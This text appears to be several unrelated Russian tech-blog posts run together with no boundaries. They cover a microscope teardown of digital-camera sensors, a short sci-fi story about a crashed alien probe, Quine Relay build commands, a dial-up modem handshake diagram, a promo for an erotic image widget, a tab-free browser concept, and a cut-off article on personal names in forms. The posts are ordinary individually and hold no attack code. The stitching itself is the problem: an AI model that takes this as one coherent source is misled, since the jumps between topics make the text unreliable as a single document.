Первым в «коллекцию» светочувствительных матриц попали фронтальная и задняя камеры смартфона одного известного корейского производителя, который был любезно предоставлен Василием Столяровым. Затем хабраюзер DarkWood, живущий недалеко от Москвы, прислал мне свой старенький неработающий фотоаппарат фирмы Pentax (здесь и далее я намеренно не буду указывать точную модель девайсов). Девайс был мёртв и это был хороший повод сдать его в мои заботливые руки, а не выкидывать, как многие делают.
И как только я собрался пилить, поступило ещё одно предложение от моего практически однокурсника, Ильи. От этого предложение я не мог отказаться. Мне презентовали относительно современный Canon, у которого были проблемы со съёмкой изображений.
Таким образом, на красно-революционно-первомайский стол ложатся три кандидата: OEM камера из телефона и фотоаппараты Pentax (самый пожилой среди всех участников) и Canon (пожалуй, самый молодой).
Если ещё кто-то не знает, зачем мы здесь собрались, то в подвале данной статьи есть ссылки на предыдущие «вскрытия». Если же кто-то запамятовал, как работает цифровой фотоаппарат или зачем нужна матрица, то милости просим на Wiki или просто посмотрите это видео от канала Discovery:
Часть теоретическая. CCD и CMOS
На сегодняшний день матрицы, выполненные по технологии CMOS (Complementary Metal-Oxide Semiconductor) завоевали более 90% мирового рынка, а не так давно безумно популярным CCD (Charge-Coupled Device) уже пророчат скорый закат.
Причин тому масса, вот далеко не полный список преимуществ CMOS-технологии: во-первых, низкое энергопотребление в статическом состоянии по сравнению с CCD, во-вторых, CMOS сразу «выдаёт» цифровой сигнал, который не требует дополнительного преобразования (точнее преобразование происходит на каждом отдельном субпикселе), в отличие от CCD, которое является фактически аналоговым устройством, в-третьих, дешевизна производства, особенно при больших размерах матриц.
Кратко ознакомиться с принципами работы CMOS-матриц можно с помощью в двух видео от компании Canon:
Но все наши пациенты (может быть, за исключением матрицы камеры мобильного телефона) относятся к той эпохе, когда миром безраздельно правил CCD, а CMOS только набирался сил и светочувствительности, чтобы впоследствии занять лидирующие позиции. Поэтому несколько слов, всё же, скажу о том, как работает CCD-матрица. Более подробное описание всегда можно найти на страницах Wiki.
Итак, фотон от объекта съёмки, пройдя сквозь фильтр Байера, то есть цветофильтр типа RGBG, или фильтр RGBW и собирающую микролинзу, попадает на светочувствительный полупроводниковый материал. Поглощаясь, фотон порождает электро-дырочную пару, которая в ячейке под действием внешнего электрического поля «разделяется», и электрон «отправляется» в копилку – потенциальную яму, где он будет ожидать «чтения».
Схема устройства CCD матрицы (Источник)
Чтение же в CCD матрицы происходит «поячеечно», если так можно выразиться. Пусть мы имеем массив 5 на 5 пикселей. Сначала мы считываем количество электронов, а по-простому величину электрического тока, с первого пикселя. Затем специальный контроллер «сдвигает» все ячейки на одну, то есть заряд из второй ячейки перетекает в первую. Опять считывается значение и так, пока не будут прочитаны все 5 ячеек. Далее уже другой контроллер сдвигает оставшееся «изображение» на одну строчку вниз и процесс повторяется, пока не будут измерены токи во всех 25 ячейках. Может показаться, что это долгий процесс, однако для 5 миллионов пикселей он занимает считанные доли секунд.
Процесс считывания изображения с CCD матрицы (Источник)
Чтобы было совсем понятно, предлагаю ознакомиться со следующими видео:
Часть практическая
Обычно красивыми разборами занимаются люди в белоснежных перчатках, недавно они добрались и до фотоаппаратов, однако поговаривают, что за видео-инструкцию по сборке необходимо доплатить, отправив смс на короткий номер. Далее будут применяться чуть более чем полностью топорные методы, так что не советую повторять это в домашних условиях…
Как разбирался сотовый телефон всегда можно посмотреть на страницах предыдущей статьи, поэтому не буду здесь приводить эти душераздирающие кадры ещё раз.
Вышеупомянутый фотоаппарат Pentax был предоставлен мисьё DarkWood, у которого, как мне кажется, сейчас сердце должно обливаться кровью, а по щеке катиться скупая мужская слеза:
Разборка Pentax в фотографиях
Из всего многообразия деталей, нас пока интересует лишь LCD дисплей, который будет демонстрироваться школьникам, приходящим к нам, на ФНМ, на экскурсии, сама CCD матрица, стекло с чем-то подозрительно напоминающим поляризатор или фильтр и ИК-подсветка (красная лампочка) для ночной съёмки. Стоит отметить, что матрица жёстко закреплена на корпусе фотоаппарата. Следовательно, все вибрации Ваших рук будут без труда напрямую передаваться на саму матриц, что, согласитесь, никак не способствует качественной фотосъёмке. Видимо, DarkWood имеет железобетонные нервы.
Что между тем не помешало ему, «утопить» свой любимый фотоаппарат. Помните, когда летом Вы оправитесь в тёплые страны на море и будете пытаться сфотографировать очередную накатывающую волну, что фотоаппарат – устройство, в котором токи могут приводить к коррозии.
Следы коррозии прямо на шлейфе, ведущем к кнопке спуска затвора (к сожалению, не единственное такое место)
Сразу видно, что Canon – чуть более продвинутая, более современная модель, нежели Pentax. Например, матрица подпружинена (на левом нижнем изображении хорошо различимы маленькие пружинки). Такая пассивная система стабилизации изображения способствует получению более качественных и чётких снимков, если, конечно, Вы не неврастеник в запущенной стадии!
«Внутренности» Canon
Кстати, на фото справа внизу отчётливо виден громадный конденсатор, отвечающий за вспышку, из-за проблем с которым мне когда-то пришлось списать свою цифровую мыльницу Canon.
Камера мобильного телефона
Начнём наши изыскания с камеры мобильного телефона, которой будет посвящено не так много времени и слов в этой статье по причине того, что сама матрица имеет совершенно микроскопические размеры и с ней трудно работать (пилить, шлифовать).
Как не сложно заметить, на оптических микрофотографиях ниже матрица у края имеет две зоны: более светлую и более тёмную. Надеюсь, что все уже догадались: под светлой стороной нет диодов, она нанесена просто так, с запасом, чтобы максимально закрыть собой тонкую душевную организацию матрицы…
Накроем всё с запасом – нам не жалко
Микрофотографии, полученные с помощью оптического микроскопа, значительно отличаются, от тех, что выдаёт микроскоп электронный. Например, как на счёт «квадратуры сферы»?
Дело в том, что на оптике мы не видим каких-то прозрачных слоёв (да хотя б они и просто менее заметны), тогда как электронная микроскопия – прежде всего метод анализа поверхности, то есть вполне может быть так, что круглые цветные цветофильтры накрыты сверху квадратными «колпаками». При этом размеры такого кубосферического субпикселя составляют около 2,5 микрометров.
Вот такая она, квадратура сферы…кстати, в вакууме…
Матрица фотоаппарата Pentax
Исследование CCD-матрицы фотоаппарата Pentax начнём с оптических микрофотографий. К моему глубокому сожалению, из-за стерических затруднений, как говорят химики, в системе образец-микроскоп, не удалось снять при больших увеличениях и рассмотреть отдельные субпикселы.
Что-то написано, интересно, а можно тут где-нибудь увидеть имена маленьких китайских детишек?
Каждая посадочная площадка под контакты пронумерована, но не к каждой подведён тот самый контактный провод.
А вот так мы скоро будем учиться считать – с помощью нанотехнологий, естественно…
Чёткая граница между самой матрицей и «обвязкой»
А следующая микрофотография достойна учебника по электронной микроскопии. Знаете, почему электронный микроскоп не является средством измерения? Да-да, именно поэтому: из-за локального накопления заряда, вроде бы сферические объекты вдруг стали эллипсоидами:
Но мы-то знаем, что это сферы…
Далее взглянем на то, что находится вокруг светочувствительной матрицы. Так как я не являюсь специалистом в области создания электронных схем, то боюсь даже предполагать, зачем нужны все эти сложные конструкции и «хитросплетения» проводников, может быть, найдётся кто-нибудь, готовый пояснить назначение приведённых ниже деталей и компонентов (в комментариях, конечно же)?
Непоколебимые столбики, пережившие распил и полировку…
В этих слоях можно запутаться, а чёрту и ногу сломать
Этот выпуск «Взгляд изнутри» — знаковый, после нескольких лет «мытарств» нам, наконец-то, установили новую систему микроанализа, так что в некоторых случаях, я смогу не только приводить красивые картинки, но и пояснять из каких химических элементов увиденное состоит.
А вот и самое интересное – матрица во всей своей красе. Под сеточкой, в ячейках которой расположились микросферы-линзы, можно видеть отдельные фоточувствительные элементы (ну или их останки, точнее сказать затруднительно). Чуть ниже при обсуждении матрицы Canon я в деталях поясню «cross-section» устройство матрицы. Пока же обратимся к данным локального химического анализа. Оказывается, что сетка состоит из вольфрама, а микросферы, по всей видимости, это диоксид кремния, который сверху «укрыт» каким-то полимерным материалом. С более детальным анализом можно ознакомиться здесь.
Матрица во всей своей сложноустроенной красоте
Возвращаясь к первому СЭМ-изображению в этой главе, хочется отметить, что контактные площадки выполнены из чистого золота (о да!), однако проводники внутри сенсора, по всей видимости, состоят из алюминия, на который тончайшим слоем напылена медь, содержание которой на грани чувствительности прибора. Детальная информация представлена тут.
Матрица фотоаппарата Canon
Продолжим наше погружение в микро- и наномиры мы, как обычно, с оптической микроскопии. Как и в случае с Pentax, матрицу от фотоаппарата Canon не удалось снять на высоком увеличении вследствие геометрических нестыковок. Однако из полученных микрофотографий можно оценить размер отдельного субпикселя – около 1,5 мкм, что гораздо меньше, чем у матрицы мобильного телефона.
Оптические микрофотографии матрицы Canon
Кстати, один из виновников невозможности снимать на оптическом микроскопе при больших увеличениях – «покровное» стекло, закрывающее собой матрицу и её «начинку»:
Хороший кадр: передача за стеклом
Конечно, всегда самое интересное прячется на сколах, где разваливающийся строго упорядоченный мир даёт трещину, позволяющую заглянуть в самые сакраментальные уголки устройства:
Чуть позже мы ещё вернёмся к желтовато-оранжевым областям этой фотографии…
Уже знакомые нам столбики совершенно не понятного предназначения:
Как стойкие оловянные солдатики
Теперь рассмотрим более детально устройство CCD-матрицы. Сверху CCD-матрица покрыта чем-то, напоминающем полимерный слой (1), который защищает фоточувствительные элементы от агрессивной внешней среды. Под ним находятся микролинзы с красителем (2 и 3). Но так как электронная микроскопия не позволяет получать цветные изображения, то точно сказать, окрашена большая или маленькая сферы не представляется возможным. Микролинзы из диоксида кремния (наиболее вероятный материал для их изготовления) закреплены в ячейках вольфрамовой сетки (4), под которой скрывают фоточувствительные элементы (5). И, конечно же, вся эта конструкция покоится на подложке из чистейшего кремния!
С учётом того, что матрица дополнительно защищена «покровным» стеклом, то фотоэлементы защищены лучше, чем президент РФ в своём лимузине (если, конечно, сделать поправку на масштабный фактор).
Данные микроанализа можно скачать тут.
Устройство матрицы по пунктам. Описание в тексте
Но и это ещё не всё. У нас же осталось ещё стёклышко, прикрывающее матрицу, которое, как кажется, является поляризатором. Оно несколько шероховатое по краям, но практически идеально гладкое по всей остальной площади поверхности. Вроде бы оптическая микроскопия не даёт никаких результатов: стекло, как стекло.
Стекло с подозрением на поляризатор: ничего необычного
И только с помощью электронной микроскопии удаётся увидеть химконтраст на изображении и полосатую структуру. Толщина такой «плёнки» составляет всего-навсего 2,5 микрометра, при этом размеры отдельных слоёв 180 и 100 нм, соответственно, для более тёмных и более светлых. На основании данных микроанализа (тут), рискну предположить, что более тёмные области обогащены титаном, а светлые – алюминием. По-моему, это потрясающе!
Оказывается, внутри фотоаппарата своя полосата жизнь!
Послесловие
Такой мир уходящего века CCD-матриц предстал перед нами сегодня.
Спасибо всем (Василию за телефон, Илье и DarkWood за фотоаппараты), кто внёс свой посильный вклад в создание данной статьи. Вы – молодцы, что поддержали в этом нелёгком начинании!
И апофеоз данной статьи, а точнее его апофигей:
Покойтесь с миром, пока мы не придумаем вам нового применения
Бонус 1. Как выглядит зелёная пылевая буря в Москве?
Хотел сначала отдельным постом выложить, но решил не захламлять пространство. Буквально несколько дней назад Москву накрыло жёлто-зелёное облако, многие уже начали было готовится к приходу апокалипсиса, но обошлось… Что в реальности явилось причиной столь странной окраски?
Климат в последнее время барахлит на этой планете: то на Новый Год оставит без снега, то завалит снегом по самую макушку, то весна будет похожа на зиму, то вдруг неожиданно наступит лето. Цветы, деревья и растительность менее приспособлены к такого рода пертурбациям, поэтому 1,5 месяца весны сжавшиеся в 1 неделю заставили растения пересмотреть свои планы по размножению…
Утром, сев за письменный стол, я обнаружил на нём слой пыли, а протерев салфеткой, понял, что надо бы эту пыль как следует изучить. Сказано – сделано!
Но для всех у меня две новости: хорошая и плохая.
Хорошая новость – окраска жёлто-зелёного облака действительно была обусловлена большим количеством пыльцы (я насчитал, как минимум, три вида):
Состав московской бури: пыльца… Справа внизу пыльца на поверхности части растения
Плохая новость – этим мы тоже дышим, причём каждый день, а не в периоды размножения растений (микро- и наночастицы, которые не каждый фильтр поймает):
Состав московской бури: не очень приятная пыль и грязь
Бонус 2. Угадайте, что это?
P.S. В последнее время на ХабраХабре стало появляться большое количество постов, посвящённых тематике копирайта и «pay what you want». Например, собирают пожертвования в пользу ReactOS или на издание/написание книг. Подумал и решил тоже в это «ввязаться», так что дело за Вами, уважаемые читатели:
Yandex.Money 41001234893231
WebMoney (R296920395341 или Z333281944680)
За неделю удалось собрать около 2 500 рублей — СПАСИБО всем, кто откликнулся и внёс свой посильный вклад!!!;)
P.P.S. Кстати, неожиданно для себя открыл, что некоторые мои работы под распилу тех или иных предметов подвигают людей на свои собственные открытия.
Во-первых, полный список опубликованных статей на Хабре:
Вскрытие чипа Nvidia 8600M GT, более обстоятельная статья дана тут: Современные чипы – взгляд изнутри
Взгляд изнутри: CD и HDD
Взгляд изнутри: светодиодные лампочки
Взгляд изнутри: Светодиодная промышленность в России
Взгляд изнутри: Flash-память и RAM
Взгляд изнутри: мир вокруг нас
Взгляд изнутри: LCD и E-Ink дисплеи
Взгляд изнутри: матрицы цифровых камер
Взгляд изнутри: Plastic Logic
Взгляд изнутри: RFID и другие метки
Взгляд изнутри: аспирантура в EPFL. Часть 1
Взгляд изнутри: аспирантура в EPFL. Часть 2
Взгляд изнутри: мир вокруг нас — 2
Взгляд изнутри: мир вокруг нас — 3
и 3DNews:
Микровзгляд: сравнение дисплеев современных смартфонов
Во-вторых, помимо блога на HabraHabr, статьи и видеоматериалы можно читать и смотреть на Nanometer.ru, YouTube, а также Dirty.
В-третьих, если тебе, дорогой читатель, понравилась статья или ты хочешь простимулировать написание новых, то действуй согласно следующей максиме: «pay what you want»
Yandex.Money 41001234893231
WebMoney (R296920395341 или Z333281944680)
Ральф вошел в помещение ангара №1 в 8:30 утра, как делал это ежедневно уже несколько лет. Его взгляд сразу же устремился к центру зала, где на постаменте, окруженный множеством приборов и паутиной кабелей, находился смысл его работы. Собственно говоря, не только его — миллионов людей по всему миру. Первый инопланетный корабль. Полтора десятилетия назад он совершил аварийную посадку и был частично поврежден, оставив, однако, весьма много материала для изучения. Настоящим чудом стало то, что политики и учёные после этого события не переругались, а смогли организовать эффективное изучение свалившегося с небес подарка. На реверс-инжиниринг корабля были брошены лучшие умы планеты. Ральф, возглавляющий группу изучения приборов связи, стоял в ангаре и в который раз любовался стремительной, похожей на стрелу в полёте, формой корабля. Он вспоминал всё, что случилось за последние годы.
Почти сразу стало ясно, что техническая мысль создателей аппарата ушла далеко вперед. Нашлось, всё-же, в инопланетной технике и кое-что знакомое. Год за годом учёные изучали корабль, пытались восстановить отдельные его узлы — и со временем кое-что начало получаться. Сначала удалось проникнуть внутрь. К сожалению, корабль оказался беспилотным, так что встретить внутри живых или пусть даже мертвых инопланетян не удалось. Затем понемногу начали раскрываться и другие тайны: состав материала корпуса, принцип работы двигателей, предназначение некоторых вспомогательных механизмов. Большой удачей оказалось неповрежденное состояние бортового компьютера — его удалось включить и даже со временем снять всю хранящуюся внутри информацию. Конечно, она была на полностью незнакомых инопланетных и машинных языках, но общие принципы кодирования вскоре были расшифрованы. За полтора десятка лет в инопланетном корабле удалось понять практически всё. Механизм работы двигателей оказался весьма сложным, а сами двигатели — поврежденными, однако уже начались работы по постройке собственных, аналогичных. Но даже по самым оптимистичным прогнозам, до окончания этих работ было еще несколько десятков лет. Другим успехом было открытие принципов сверх-дальней связи. Изящная теория Т-волн позволяла отправлять сообщения мгновенно на произвольные расстояния, оставив далеко в кильватере релятивизм с его смешной верой в максимальность скорости света. Тайны отступали одна за одной — звёздные карты, записи «черного ящика» корабля, алгоритмы работы бортовых систем, устройство датчиков. Всё это дало современной физике не то что толчок — целую серию сверх-мощных пинков и в данный момент лаборатории и заводы по всему миру активно изучали, осваивали и применяли на практике инопланетные технологии.
Несколько недель назад была закончена первая собственная станция связи на Т-волнах. Наконец появилась возможность отправить сообщение создателям корабля. На это, правда, из-за несовершенства новой технологии нужно было бросить всю энергию планеты — и даже этого едва хватало на передачу несколько килобайт данных, да полчаса ожидания ответа. Но попытаться стоило.
Или не стоило? Мир разделился на два лагеря. Первый считал, что однозначно нужно предпринять попытку связи, поприветствовать инопланетный разум, сообщить о найденном корабле, рассказать о себе и ждать ответа. Вторые были более осторожны. Их основным аргументом были несколько нераскрытых загадок в инопланетном корабле. Например, до сих пор оставалась не понятой цель его полёта. Согласно расшифрованным алгоритмам бортовых систем кораблю была дана задача «лететь вперёд, уворачиваясь от препятствий». До бесконечности. Какая-то чушь! Он не должен был вернуться, не должен был достичь какой-то конкретной цели, не вёз пассажиров или груза. Более того, упал он исключительно из-за ошибки в программе управления полётом (оказалось, что определенная комбинация типа звезды, планеты, массы её спутника и еще нескольких параметров перебрасывали выполнение программы в ветку с неинициализированным параметром — и именно это и привело к аварийной посадке). А может быть, в этом и была цель — при появлении такой комбинации параметров — сесть, дав возможность местным жителям исследовать передовые технологии и выйти на связь? Или корабль всё-таки летел куда-то, а данная авария разрушила важные планы инопланетян? В таком случае они могут быть недовольны, могут прилететь и забрать свою собственность, могут высказать претензии на счёт захвата и порчи их техники, и вообще — мало ли как дела сложатся… Было боязно.
После долгих дебатов было принято решение на связь всё-же выйти. В сообщении рассказать о крушении корабля и приложить подробное описание найденных причин аварии, подчеркнув, что никакого внешнего воздействия на корабль не предпринималось и единственной причиной аварийной посадки была ошибка в подпрограмме (выкладки и логи прилагались). Было назначено время отправки сообщения и в этот ключевой момент истории весь мир замер, зная, что доступной энергии хватит лишь на полчаса ожидания ответа, и надеясь, что он за это время придёт.
…
Руководитель проекта создания беспилотников дальнего радиуса «Стрела» вошел в помещения отдела программирования бортовых систем и сразу позвал к себе ведущего разработчика:
—Антон, опять пришло сообщение. 7 минут назад.
—Откуда на этот раз?
—Альфа Лебедя. Точнее надо?
—Нет. Мы в том направлении отправляли только один прототип… Секундочку… Да, КЛ-15300. Что в сообщении?
—Багрепорт. Неинициализированная переменная. Весьма грамотно составлено, скажу тебе. Я уже просмотрел исходники — они правы. Наш баг.
—Ну что же, исправим.
—Исправим, конечно. Но что ответить этим, с Альфы? Они подчеркнули, что энергии на ожидание ответа у них немного.
—Стандартную форму.
—Стандартную форму? «Здравствуйте! Ваше обращение очень важно для нас, оно было зарегистрировано в нашем багтрекере под номером ...» и т.д.? Ну хорошо. Но ты уверен, что мы всё делаем верно? Что так и надо?
—Андрей, мы это обсуждали уже тысячу раз.
—Да, но…
—Никаких но, ты знаешь это не хуже меня. Уже прошло очень много лет с тех пор, как стоимость изготовления техники аналогичной нашим беспилотникам, и даже сильно более сложной, стала несоизмеримо малой в сравнении с зарплатой людей-тестировщиков. Да, мы могли бы нанять для нахождения вот этого бага с забытой переменной живого человека и он бы потратил на него — сколько? Ну пусть 2 дня работы. По нынешним расценкам это 500 эргов! А создание того беспилотника нам обошлось в 15 эргов. Даже при том, что 9 из 10 прототипов «Стрел» теряются безвозвратно, прибыль от багрепорта аварии десятого перекрывает всё. Ты же сам знаешь — оказалось, что это единственный способ.
Квайн — компьютерная программа, которая выдаёт на выходе точную копию своего исходного текста. Японский рубист Юсукэ Эндо (Yusuke Endoh) создал нечто невероятное. Quine Relay — программа на Ruby, которая генерирует код программы на Scala, которая генерирует код программы на Scheme, которая генерирует… и так далее на 50-ти языках программирования, пока программа на REXX снова не генерирует изначальный код на Ruby.
Для проверки нужно сначала установить в системе все необходимые окружения. Под Ubuntu это можно сделать такой командой:
$ apt-get install algol68g bash beef boo clisp clojure1.4 coffeescript \
fp-compiler g++ gauche gawk gcc gforth gfortran ghc gnat gnu-smalltalk \
gobjc golang groovy icont intercal iverilog jasmin-sable llvm lua5.2 \
make mono-devel mono-mcs nodejs ocaml octave open-cobol openjdk-6-jdk \
parrot perl php5-cli pike7.8 python r-base regina-rexx ruby1.9.3 scala \
swi-prolog tcl8.5 ucblogo valac
Запускаем программу с каждым интерпретатором/компилятором, по очереди.
$ ruby QR.rb > QR.scala
$ scalac QR.scala && scala QR > QR.scm
$ gosh QR.scm > QR.bash
$ bash QR.bash > QR.st
$ gst QR.st > QR.tcl
$ tclsh QR.tcl > QR.unl
$ ruby unlambda.rb QR.unl > QR.vala
$ valac QR.vala && ./QR > QR.v
$ iverilog -o QR QR.v && ./QR -vcd-none > QR.ws
$ ruby whitespace.rb QR.ws > QR.adb
$ gnatmake QR.adb && ./QR > QR.a68
$ a68g QR.a68 > QR.awk
$ awk -f QR.awk > QR.boo
$ booi QR.boo > QR.bf
$ beef QR.bf > QR.c
$ gcc -o QR QR.c && ./QR > QR.cpp
$ g++ -o QR QR.cpp && ./QR > QR.cs
$ mcs QR.cs && mono QR.exe > QR.clj
$ clojure QR.clj > QR.cob
$ cobc -x QR.cob && ./QR > QR.coffee
$ coffee QR.coffee > QR.lisp
$ clisp QR.lisp > QR.fs
$ gforth QR.fs > QR.f
$ gfortran -o QR QR.f && ./QR > QR.f90
$ gfortran -o QR QR.f90 && ./QR > QR.go
$ go run QR.go > QR.groovy
$ groovy QR.groovy > QR.hs
$ runghc QR.hs > QR.icn
$ icont -s QR.icn && ./QR > QR.i
$ ick -b QR.i && ./QR > QR.j
$ jasmin QR.j && java QR > QR.java
$ javac QR.java && java QR > QR.ll
$ llvm-as QR.ll && lli QR.bc > QR.logo
$ ucblogo QR.logo > QR.lua
$ lua QR.lua > QR.makefile
$ make -f QR.makefile > QR.il
$ ilasm QR.il && mono QR.exe > QR.js
$ nodejs QR.js > QR.m
$ gcc -o QR QR.m && ./QR > QR.ml
$ ocaml QR.ml > QR.octave
$ octave -qf QR.octave > QR.pasm
$ parrot QR.pasm > QR.pas
$ fpc QR.pas && ./QR > QR.pl
$ perl QR.pl > QR.php
$ php QR.php > QR.pike
$ pike QR.pike > QR.prolog
$ swipl -q -t qr -f QR.prolog > QR.py
$ python QR.py > QR.R
$ R --slave < QR.R > QR.rexx
$ rexx ./QR.rexx > QR2.rb
В результате, итоговый код QR2.rb не отличается от первоначального QR.rb.
Финский инженер Уна Райсанен (Oona Räisänen) составила чёткую блок-схему с описанием всех звуков, которые издаёт диалап-модем при установке соединения. Горизонтальной оси соответствует время в секундах, вертикальной — частота звука в герцах.
Описание наложено непосредственно на спектрограмму. Для каждого звука помечен источник (наш модем или чужой) и объяснение, что значит конкретно этот сигнал.
Для тех, кто забыл звук соединения диалап-модема, прослушать его можно здесь или здесь. В процессе «рукопожатия» при установке соединения два модема пытаются определить наиболее подходящие протоколы для обмена данными, тестируя между собой линию связи. От выбранных во время рукопожатия протоколов зависит максимальная скорость передачи данных.
Процедура начинается с гудка подключения к линии — такого же гудка, какой мы обычно слышим в телефонной трубке перед набором номера.
После получения этого сигнала модем набирает номер с помощью тонового или импульсного набора. На спектрограмме указан тоновый набор. Каждой цифре соответствует пара сигналов на определённой частоте. Модем набирает номер точно так же, как обычный телефонный аппарат.
С пятой секунды начинается самое интересное: модемы начинают активно обмениваться «репликами», сообщая друг другу о своих возможностях и ограничениях. Это начало фазы 1 процесса рукопожатия. Первая фаза — самая длительная, она обычно оканчивается в районе 12-й секунды.
Затем модемы устраивают сеанс одновременной передачи данных, проверяя качество линии (фаза 2) и окончательно договариваются о приемлемой скорости соединения (фаза 3).
После окончания третьей фазы динамики модемов отключаются — и становится возможной передача данных по установленному соединению.
Диаграмму полного размера можно скачать на Dropbox, зеркало, перевод на русский язык (Ocelot).
Дорогой_хабрахабр_прости_пожалуйста_но_какой_тестировщик_не_проверит_эту_ может_и_бесполезную_штуку_в_блоге_по_тестированию?
Для придания посту минимальной информационной ценности, добавлю:
тестирование «неправильного» поведения пользователя называется негативным тестированием.
Когда-то, давным-давно, тут пиарился один удивительный и абсолютно чистый от рекламы сервис по сиськам OpenBoobs.
Он мне понравился еще тогда, но вот недавно я решил сделать для него маленький виджет. Итак, встречайте OpenBoobs Reader!
Он вам поможет:
- Просматривать отборные груди в случайном порядке;
- Быстро сохранить на диск понравившуюся грудь;
- Незаметно на вашем рабочем столе показывать разные груди в режиме слайдов;
- Просто расслабится.
Немного о виджете
Этот виджет нельзя найти в официальных репозиториях widgets.opera.com, так как по правилам сервиса запрещено выкладывать все связанное с насилием, порно и эротикой. Этот виджет одобрен администрацией oboobs.ru и является чем-то вроде бета-версии для создания более мощного приложения, поэтому активно принимаются все пожелания по улучшению виджета.
Скачать виджет можно здесь.
Также выражаю свои благодарности csr за хостинг и daemith за столь важный и замечательный в наше время сервис!
UPD: После 10 минут неполадок все снова работает.
Всем большое спасибо!
Решил я поучаствовать в Mozilla Labs Design Challenge Summer 2009, ибо уж больно вкусная тема конкурса — «Что можно предложить на замену табам в браузере». Для начала — видео:
Под катом — подробное описание идеи и скриншоты.
Предпосылка
Идея конкруса родилась в Mozilla Labs, потому что табы (вкладки) не очень хорошо работают, когда их много. Они не умещаются на экране и не дают пользователю достаточных подсказок, чтобы он мог быстро вспомнить, посещал он страницу или нет, открыта ли она в одной из многочисленных вкладок или надо открывать ее по-новой.
Мне кажется, что проблема не только во вкладках — помимо них есть история посещенных страниц, закладки (избранные сайты), стек страниц в текущей вкладке (кнопки навигации назад/вперед). Все это реализовано в браузерах в виде отдельных сущностей, и везде есть проблемы масштабирования.
Например — если у вас даже 7-10 вкладок, сможете ли вы с уверенностью вспомнить, переключившишь на любую из вкладок, на какую страницу вы перейдете, нажав кнопку «Назад» или «Вперед»? Сможете ли с уверенностью сказать, как вы попали на страницу, на которой находитесь?
Идея
Представьте, что в браузере нет привычных раздельных понятий «вкладка», «история посещений», «избранное». Вместо этого есть общее пространство страниц, которые вы посещаете. Каждая страница представлена в этом пространстве своим эскизом, и страницы соединены друг с другом связями (ссылками). По пространству можно перемещаться, масштабировать и передвигать в нем страницы, группируя их по теме.
Такое пространство очень напоминает «mind maps» (не знаю, есть ли для этого устоявшийся русскоязычный термин), т.е. графы, который люди рисуют самостоятельно, чтобы лучше разобраться в предмете, сделать какую-то область знаний более наглядной. Ниже я привел забавный и симпатичный пример такой рисованной карты, найденной в Сети.
Идея в том, чтобы браузер создавал такие карты автоматически по мере посещения вами сайтов (при этом давая вам возможность вмешаться в процесс, разумеется). Это позволило бы снизить когнитивную нагрузку и сделало бы процесс навигации более наглядным и понятным даже людям, далеким от компьютеров.
С таким подходом пользователю не надо думать, открывать ли ссылку в текущей вклдаке или в новой — самого понятия вкладок нет. Современные браузеры и объемы памяти вполне могут сохранять полное состояние окна браузера со всеми данными и восстанавливать его, используя при этом пул из нескольких экземпляров браузера для более быстрого переключения между страницами.
Если вы вводите адрес уже посещенной ранее страницы, то вместо того чтобы открыть новую страницу, браузер просто перекидывает вас к существующей на карте странице. Таким образом, на карте вы увидите и историю тех страниц, которые вы открывали с текущей страницы (т.е. история посещений интегрирована воедино с текущей сессией работы).
Демо-приложение
Я попробвал воплотить эту идею в демо-приложении, которое вы и видели на видео и скриншотах. Его можно скачать по этой ссылке:
http://a-i-studio.com/treebrowser/TreeBrowserDemo.zip (350 КБ).
Приложение работает под Windows XP / Windows Vista / Windows 7 и не требует установки — достаточно распаковать архив в любую папку. Попробуйте, поиграйтесь с ним. Интересно, что вы об этом думаете.
Развитие
Понятно, что демо имеет достаточно ограниченную функциональность. Настоящий браузер должен (или может) обладать следующими функциями:
- поддержку разных карт с возможностью сохранения и загрузки, чтобы была возможность делиться своими сессиями с друзьями или делать бэкап этих сессий;
- возможность создавать «начальные карты» с наиболее полезными сайтами, сгруппированными по тематикам (аналог избранного), чтобы можно было начинать ходить по Сети, базируясь на определенном наборе сайтов;
- поддержку разных представлений карт (например, свободную форму, как в демо-приложениии или более структурированую, подходящую для отображения последовательности посещений страниц за определенный промежуток времени);
- поддержку режима «машины времени», где можно посмотреть карту на определенный момент времени в прошлом или даже воспроизвести порядок открытия страниц и «рост» карты в анимированном виде;
- возможность искать и подсвечивать на карте страницы, отвечающие критериями поиска, заданным в адресной строке (которая работает и как поле поиска);
- полноценную поддержку клавиатуры и при работе с картой.
P.S.: Есть еще описание и видео на английском (то, что, собственно, и отправлено на конкурс).
Пространство рассуждения статьи затрагивает вопросы различия имен людей во всем мире, и то, как это влияет на дизайн форм ввода, баз данных, онтологий информатики и др. в контексте Всемирной Паутины.
Заинтересованная аудитория: авторы HTML-контента, разработчики скриптов серверных приложений (PHP, JSP и т.д.), менеджеры веб-проектов и любые другие люди, так или иначе связанные с дизайном форм ввода данных, дизайна баз данных и онтологий, которые затрагивают личные имена людей.
Следует помнить о различиях формирования и традициях употребления имен людей в других странах. Зачастую создатели сайтов или программ одной культуры не учитывают национальные особенности пользователя другой, что заставляет последнего чувствовать себя непривычно, и ставит дополнительные преграды к использованию продукта.
В данной статье не рассматриваются абсолютно все случаи. Связано это как с тем, что существует слишком много различных культур имени, все из которых невозможно описать и учесть сразу, так и с частой допустимостью неидеальных решений, соотвествующих лишь культурам большинства пользователей, что значительно экономит трудовые ресурсы. Здесь мы попытаемся лишь заострить внимание на основных примерах, показывающих решения в дизайне форм ввода и построении баз данных. Некоторые пункты иногда бывает необходимо учесть и в построении онтологий, хотя особых примеров здесь представлено не будет.
Случаи
Существует два основных случая, которые нужно предусмотреть.
- Вы выполняете дизайн формы в единственном языке (допустим, английском), которым будут пользоваться люди со всего мира.
- Вы выполняете дизайн формы в одном языке, но со временем данный элемент будет адаптирован под различные культурные особенности сферы языка конечного пользователя.
В реальной жизни вам наверняка не удастся выполнить локализацию для каждой культуры, поэтому даже если и вы полагаетесь на второй вариант, некоторым людям придется использовать форму, которая не была предназначена для их культурных особенностей.
Описания различий
Рассмотрим примеры того, как имена людей могут различаться в мире.
Имя и фамилия
В именовании «Бьорк Гвюдмюндсдоуттир» (Björk Guðmundsdóttir) собственно именем является Бьорк. Второе слово — отчество, составленное из имени отца (иногда — матери, но матронимы редки) и на конце -son (исл. сын) у мужчин и -dóttir (исл. дочь) у женщин. Как правило, у исландцев нет фамилии, соответственно, отпадает вопрос о их использовании.
Вне зависимости от степени уважения обращающегося к объекту обращения исландцы называют его только по имени или же по имени и отчеству. Разумеется, назвать человека «г-жа Гвюдмюндсдоуттир» будет некорректным.
Супруги не изменяют чего-либо в своем имени, возможно заимствование фамилии в тех редких случаях, если она есть.
